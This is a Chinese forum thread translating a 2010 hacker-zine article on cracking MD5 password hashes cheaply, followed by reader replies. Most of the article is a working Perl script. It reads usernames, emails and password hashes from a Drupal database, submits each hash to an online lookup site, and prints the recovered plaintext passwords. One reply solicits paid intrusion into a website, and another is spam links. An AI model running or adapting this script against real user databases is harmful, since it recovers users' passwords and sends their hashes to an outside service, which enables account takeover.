发新话题
打印

[翻译.原创] 一种经济的破解MD5方法的研究

[翻译.原创] 一种经济的破解MD5方法的研究

作者:Evoltech
原文题目:MD5 crack on the cheap(文章选自:Hack This Zine :Spring 2010)
译文作者:sea_star666

备注:今天刚注册论坛,想做点什么,在看riusksk的文章时看到HTZ这个杂志就随便下了一期,在国外网站上下的,不知道你们这里也有,就挑了一篇文章翻译,献给八进制吧。不知道有没有人翻译过这篇文章,可以保证这是自己翻译的,而且这是我翻译的第一篇文章(以前想翻一直没动手)。
翻译不足之处望大家批评指正,水平有限,期待进步!

一种经济的破解MD5方法的研究

在最近做的一些研究期间,我发现从MD5序列发现明文密码是相当简单的。网站http://md5crack.com 提供了一个简单的界面用来查找它们的数据库,同时提供google用来匹配md5序列.
根据这个网站的描述,google利用md5为站点进行索引,因此提供了一个简单的界面搜索md5校验和和相应的明文字符串。一旦md5crack.com发现配对,它就把配对添加到自己的彩虹表数据库,以便以后更快的查找。
为了使它成为我项目的一部分,我写了两个脚本破解 Drupal和phpBB数据库的密码。我简直不敢相信能破解的帐户数。这两个脚本可以很容易的修改去处理htpasswd的MD5.下面是一个破解drupal用户数据库的简单例子。
复制内容到剪贴板
代码:
#!/usr/bin/perl -w
use strict;
use warnings;
use WWW:Mechanize;
use DBI;
use Getopt::Long;
use Data::Dumper;

#declare variables
my $verbose = 0;
my $user;
my $password;
my $database;
my $host=‘127.0.0.1’;

# parse command line options
GetOptions(
  ‘verbose+’ => \$verbose,
  ‘user=s’ => \$user,
  ‘password=s’ => \$password,
  ‘database=s’ => \$database,
  ‘host=s’ => \$host,
   );
die ‘A database user must be defined.’
  if (!defined($user) || !defined($database));

# set up db
my $dbh = DBI->connect(‘DBI:mysql:’. $database .’;host=’. $host,
  $user, $password,
  { RaiseError => 1 }
) or die (‘could not connect to database: ‘. $!);
my $get_password_hash = $dbh->prepare(‘
  SELECT uid, name, pass, mail
  FROM users
  ‘) or die “Couldn’t prepare statement: “ . $dbh->errstr;

# set up our web robot
my $mech = WWW::Mechanize->new();
$mech->get(‘http://md5crack.com’) or
  die ‘There was a problem loading md5crack.com: ‘. $!;

# loop across user passwords
$get_password_hash->execute()
  or die ‘Could not execute statement: ‘. $dbh->errstr;

while (my $user = $get_password_hash->fetchrow_hashref) {
  print Dumper($user) .”\n”
    if ($verbose > 1);

# look them up at md5crack.com
  eval {
  $mech->submit_form(
    form_name => ‘f’,
    fields    => { term => $user->{‘pass’}, },
    button    => ‘crackbtn’
  );
  };
  if ($@) {
    print $@;
    print $mech->content if $verbose > 1;
  }

  # update the database
  $mech->content =~ /<h2>Your Results<\/h2>\s*<div[^>]*>([^<]+)<\/
div>/;
  my $result = $1;
  if (!defined($result)) {
    print ‘Did not get a response from md5crack.com for ‘.
      $user->{‘name’} .’:’. $user->{‘pass’} .”\n”;
    next;
  }
  chomp $result;
  my $success_re = ‘Found: md5\(“([^”]+)”\) = ‘. $user->{‘pass’};
  if ($result =~ /Sorry guess we couldn’t find it\./) {
    print ‘Could not crack password for ‘. $user->{‘name’} .” <”.
$user->{‘mail’} .”>\n”;
  } elsif ($result =~ /$success_re/) {
my $p = $1;
    print $user->{‘name’} .” <”. $user->{‘mail’} .”>:$p\n”
      if ($verbose);
  } else {
    print ‘Unknown response from crackmd5.com for ‘.
      $user->{‘user’} .’:’. $user->{‘pass’}
      .’: ‘. $result .”\n”;
  }
}
# close the database connection
$dbh->disconnect;
附件:原文期刊
htz10.rar (1.57 MB)

TOP

多谢楼主  能不能贴一个python的版的 或者c的  perl没学过。。。

TOP

现在的md5破解方法好像基本都是提供配对的方式。
就拼谁的数据量大了。。

TOP

MD5有具体的运算方法吗?

TOP

提示: 作者被禁止或删除 内容自动屏蔽

TOP

TOP

我晕,后面加链接的朋友是出于什么目的?

TOP

说的太好了









TOM HUA       郭蕊菘       郭蕊菘网络营销     网络营销   tomhua   招牌菜

网站:http://www.guoruisong.net/



网站:http://zuzu450.net/



博客:http://blog.sina.com.cn/zuzu450

TOP

很有启发,感谢楼主!

TOP

很有用。     目前很多MD5破解网站都是拿自己滴数据出来卖。    自己想办法破解滴已经很少了。

TOP

有之一计终身受用!!!!!

TOP

嗯,很强大!!

TOP

过来看看虽然一点没看懂!

TOP

确实如此啊

TOP

高价求高手入侵网站,香港服务器,未备案域名,非正规站点!有能力的高手请加我QQ:906349151!要定金的骗子勿扰!

TOP

很有用的方法 学习了

TOP

回复 板凳 killer@天寒 的帖子

MD5  是不可逆的好吧,你不知道么?

TOP

不错的方法    感谢LZ的翻译....

TOP

代码太深奥不懂啊!!!

TOP

http://www.md5crack.com/   

试了几个md5,这个网站还是很强大的

TOP

楼主好人,以后常来···

TOP

发新话题